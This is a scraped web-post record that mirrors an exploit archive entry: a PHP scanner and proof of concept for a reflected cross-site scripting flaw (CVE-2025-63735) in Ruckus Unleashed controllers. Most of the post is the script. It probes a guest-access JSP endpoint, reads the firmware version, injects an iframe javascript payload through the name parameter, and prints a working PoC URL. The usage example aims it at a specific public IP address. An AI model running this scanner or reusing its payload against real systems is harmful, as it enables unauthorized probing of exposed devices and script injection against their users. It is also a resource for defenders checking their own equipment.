{“lastseen”:”2026-02-18T17:34:29″,”description”:”This is a testing script to validate whether or not a Ruckus Unleashed system is vulnerable to the cross site scripting vulnerability in version 200.13.6.1.319…”,”published”:”2026-02-18T00:00:00″,”modified”:”2026-02-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Ruckus Unleashed 200.13.6.1.319 XSS Scanner”,”source”:””,”references”:””,”id”:”PACKETSTORM:215813″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-63735″],”sourceData”:”=============================================================================================================================================\\n | # Title : Ruckus Unleashed 200.13.6.1.319 External Scanner |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.ruckusnetworks.com\/ |\\n =============================================================================================================================================\\n \\n [+] Summary \\n \\n This release introduces a remote security scanner capable of detecting vulnerable Ruckus Unleashed systems over LAN or WAN using external IP addresses.\\n \\n [+] The scanner performs:\\n \\n Version Enumeration\\n \\n Endpoint Exposure Check\\n \\n Reflected XSS Detection for CVE\u20112025\u201163735\\n \\n Captive Portal Validation\\n \\n Full Signature\u2011Based Audit\\n \\n The tool was built to identify Ruckus controllers exposed to the internet and automatically verify whether the system reflects unsanitized input in the name parameter.\\n \\n [+] poc\\n usage : php poc.php –target 41.110.27.120\\n \\n \\n \\u003c?php\\n \\n \\n function http_get($url) {\\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $url,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_FOLLOWLOCATION =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_TIMEOUT =\\u003e 10\\n ]);\\n $result = curl_exec($ch);\\n curl_close($ch);\\n return $result;\\n }\\n \\n $target = $argv[1] ?? null;\\n if(!$target){\\n die(\\”Usage: php scanner.php \\u003ctarget\\u003e\\\\n\\”);\\n }\\n \\n echo \\”[+] Target: $target\\\\n\\”;\\n \\n $base = \\”https:\/\/$target\/selfguestpass\/guestAccessSubmit.jsp\\”;\\n $test = \\”$base?cookie=null\\u0026tip=5\\u0026name=test123\\”;\\n \\n echo \\”[+] Checking endpoint…\\\\n\\”;\\n $resp = http_get($test);\\n \\n if(!$resp){\\n die(\\”[!] No response from target.\\\\n\\”);\\n }\\n \\n echo \\”[+] Endpoint accessible.\\\\n\\”;\\n \\n echo \\”[+] Extracting version…\\\\n\\”;\\n preg_match(‘\/([0-9]{3}\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+)\/’, $resp, $m);\\n $version = $m[1] ?? \\”Unknown\\”;\\n \\n echo \\”[+] Firmware: $version\\\\n\\”;\\n \\n if($version === \\”200.13.6.1.319\\”){\\n echo \\”[!] Version is vulnerable.\\\\n\\”;\\n }\\n \\n echo \\”[+] Sending XSS payload…\\\\n\\”;\\n \\n $payload = urlencode(‘\\u003c\/p\\u003e\\u003cform\\u003e\\u003ciframe src=javascript:alert(`xss`)\\u003e’);\\n $url = \\”$base?cookie=null\\u0026tip=5\\u0026name=$payload\\”;\\n \\n $resp2 = http_get($url);\\n \\n if(strpos($resp2, ‘\\u003c\/p\\u003e\\u003cform\\u003e\\u003ciframe’) !== false){\\n echo \\”[!] REFLECTED XSS CONFIRMED (CVE-2025-63735)\\\\n\\”;\\n echo \\”[+] PoC URL:\\\\n$url\\\\n\\”;\\n } else {\\n echo \\”[+] Not vulnerable.\\\\n\\”;\\n }\\n ?\\u003e\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215813″,”cvss”:{“score”:6.1,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215813\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-18T17:34:29″,”description”:”This is a testing script to validate whether or not a Ruckus Unleashed system is vulnerable to the cross site scripting vulnerability in version 200.13.6.1.319…”,”published”:”2026-02-18T00:00:00″,”modified”:”2026-02-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,31,12,21,13,53,7,11,5],"class_list":["post-41410","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-61","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n